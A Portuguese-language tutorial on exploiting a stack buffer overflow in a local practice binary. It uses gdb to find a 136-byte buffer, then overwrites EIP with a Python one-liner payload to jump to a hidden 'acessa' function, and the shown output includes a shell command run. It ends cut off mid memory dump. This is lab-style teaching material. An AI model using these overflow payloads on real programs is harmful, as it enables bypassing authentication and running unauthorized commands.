O Buffer Overflow basicamente ocorre quando o programador aloca um determinado tamanho de buffer para uma variável que irá receber uma entrada do usuário e é passado um valor maior do que foi definido, fazendo assim "transbordar" o buffer e sobrescrever outros endereços da memória.
Explorando o binário
Iremos agora analisar um binário para explorar, sem ter acesso ao código fonte.
Para começar, podemos tentar enviar 300 bytes para ver como que o programa se comporta.
$ python3 -c 'print("A" * 300)' | ./protegido
Entre com a senha: Acesso Negado
[1] 1319 done python3 -c 'print("A" * 300)' |
1320 segmentation fault ./protegido
Podemos já perceber que ocorre o "segmentation fault".
Vamos debugar o programa e exibir suas funções com o comando info functions (o parâmetro -q é para o gdb não exibir algumas informações iniciais).
gdb -q ./protegido
Reading symbols from ./protegido...
(No debugging symbols found in ./protegido)
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x00001000 _init
0x00001030 strcmp@plt
0x00001040 printf@plt
0x00001050 gets@plt
0x00001060 puts@plt
0x00001070 system@plt
0x00001080 exit@plt
0x00001090 __libc_start_main@plt
0x000010a0 __cxa_finalize@plt
0x000010b0 _start
0x000010f0 __x86.get_pc_thunk.bx
0x00001100 deregister_tm_clones
0x00001140 register_tm_clones
0x00001190 __do_global_dtors_aux
0x000011e0 frame_dummy
0x000011e5 __x86.get_pc_thunk.dx
0x000011e9 verifica
0x00001293 acessa
0x000012d3 main
0x00001330 __libc_csu_init
0x00001390 __libc_csu_fini
0x00001391 __x86.get_pc_thunk.bp
0x00001398 _fini
Para colocarmos na sintaxe da intel, basta usar o comando set disassembly-flavor intel.
Precisamos agora rodar o programa com o comando run.
Se quisermos debugar a função main, basta utilizar
Podemos observar que no endereço 0x56556213 da função verifica, é feito uma alocação de um espaço para um buffer de 0x88 que são 136 bytes. Com isso já facilita bastante para sabermos quantos bytes enviar corretamente.
$ python3 -c 'print(0x88)'
136
Enviando os bytes
(gdb) run < <(python3 -c 'print("A" * 136)')
Analisando os registradores, podemos ver que enviamos o suficiente para "quase" atingir o ebp e o eip.
(gdb) run < <(python3 -c 'print("A" * 136 + "BBBB" + "CCCC")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/Desktop/bof/protegido < <(python3 -c 'print("A" * 136 + "BBBB" + "CCCC")')
Breakpoint 1, 0x5655621f in verifica ()
(gdb) i r
eax 0xffffd0d0 -12080
ecx 0xf7fa2580 -134601344
edx 0xfbad2088 -72540024
ebx 0x56559000 1448448000
esp 0xffffd0c0 0xffffd0c0
ebp 0xffffd158 0xffffd158
esi 0x1 1
edi 0x565560b0 1448435888
eip 0x5655621f 0x5655621f <verifica+54>
eflags 0x246 [ PF ZF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) x/16xw $esp
0xffffd0c0: 0xffffd0d0 0xf7ffdb98 0xffffd144 0x565561f8
0xffffd0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0f0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xffffd100: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd110: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd120: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd130: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xffffd140: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd150: 0x41414141 0x41414141 0x42424242 0x43434343
0xffffd160: 0xffffd100 0x00000000 0x00000000 0xf7dd5905
0xffffd170: 0x00000001 0x565560b0 0x00000000 0xf7dd5905
(gdb)
Com isso, podemos chamar a função acessa (que possui o endereço 0x56556270) que fica dentro da função main. Em seguida podemos analisar a memória e verificar se o EIP está sobrescrito com a função, em seguida só precisamos continuar o programa com sua execução.
(gdb) run < <(python3 -c 'print("A" * 136 + "BBBB" + "\x70\x62\x55\x56")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/Desktop/bof/protegido < <(python3 -c 'print("A" * 136 + "BBBB" + "\x70\x62\x55\x56")')
Breakpoint 1, 0x5655621f in verifica ()
(gdb) x/16xw $esp
0xffffd0c0: 0xffffd0d0 0xf7ffdb98 0xffffd144 0x565561f8
0xffffd0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0f0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xffffd100: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd110: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd120: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd130: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xffffd140: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd150: 0x41414141 0x41414141 0x42424242 0x56556270
0xffffd160: 0xffffd100 0x00000000 0x00000000 0xf7dd5905
0xffffd170: 0x00000001 0x565560b0 0x00000000 0xf7dd5905
(gdb) c
Continuing.
Entre com a senha: Acesso Negado
Bem vindo!
[Detaching after vfork from child process 2404]
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),120(wireshark),124(bluetooth),136(scanner),145(kaboxer)
Program received signal SIGSEGV, Segmentation fault.
0x5655628e in verifica ()
Truques no debugger
Se soubermos qual endereço que precisamos ir diretamente, podemos direcionar o programa para isso no debugger.
Se quisermos alterar o fluxo do programa, basta utilizarmos (o endereço 0x56556270 é da função verifica)
(gdb) set $eip = 0x56556270
(gdb) i r
eax 0xf7fa49e8 -134592024
ecx 0xffffd180 -11904
edx 0xffffd1b4 -11852
ebx 0x0 0
esp 0xffffd160 0xffffd160
ebp 0xffffd168 0xffffd168
esi 0x1 1
edi 0x565560b0 1448435888
eip 0x56556270 0x56556270 <verifica+135>
eflags 0x282 [ SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) c
Continuing.
Bem vindo!
[Detaching after vfork from child process 1644]
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),120(wireshark),124(bluetooth),136(scanner),145(kaboxer)
Agora, vamos tentar descobrir qual é a senha que o sistema está comparando. Antes da comparação, que é a função verifica, precisamos colocar um breakpoint para analisar a memória e tentarmos descobrir qual é a string que está sendo feito a comparação. Iremos utilizar o endereço 0x5655626e que fica antes da função verifica.
(gdb) b* 0x5655626e
Breakpoint 1 at 0x5655626e
The program has no registers now.
(gdb) run
Starting program: /home/user/Desktop/bof/protegido
Entre com a senha: 1
Breakpoint 1, 0x5655626e in verifica ()
(gdb) i r
eax 0xffffffff -1
ecx 0x70 112
edx 0xffffd0d0 -12080
ebx 0x56559000 1448448000
esp 0xffffd0d0 0xffffd0d0
ebp 0xffffd158 0xffffd158
esi 0x1 1
edi 0x565560b0 1448435888
eip 0x5655626e 0x5655626e <verifica+133>
eflags 0x286 [ PF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) x/20s $eip
0x5655626e <verifica+133>: "u\a\350\036"
0x56556273 <verifica+138>: ""
0x56556274 <verifica+139>: ""
0x56556275 <verifica+140>: "\353\022\203\354\f\215\203E\340\377\377P\350\332\375\377\377\203\304\020\270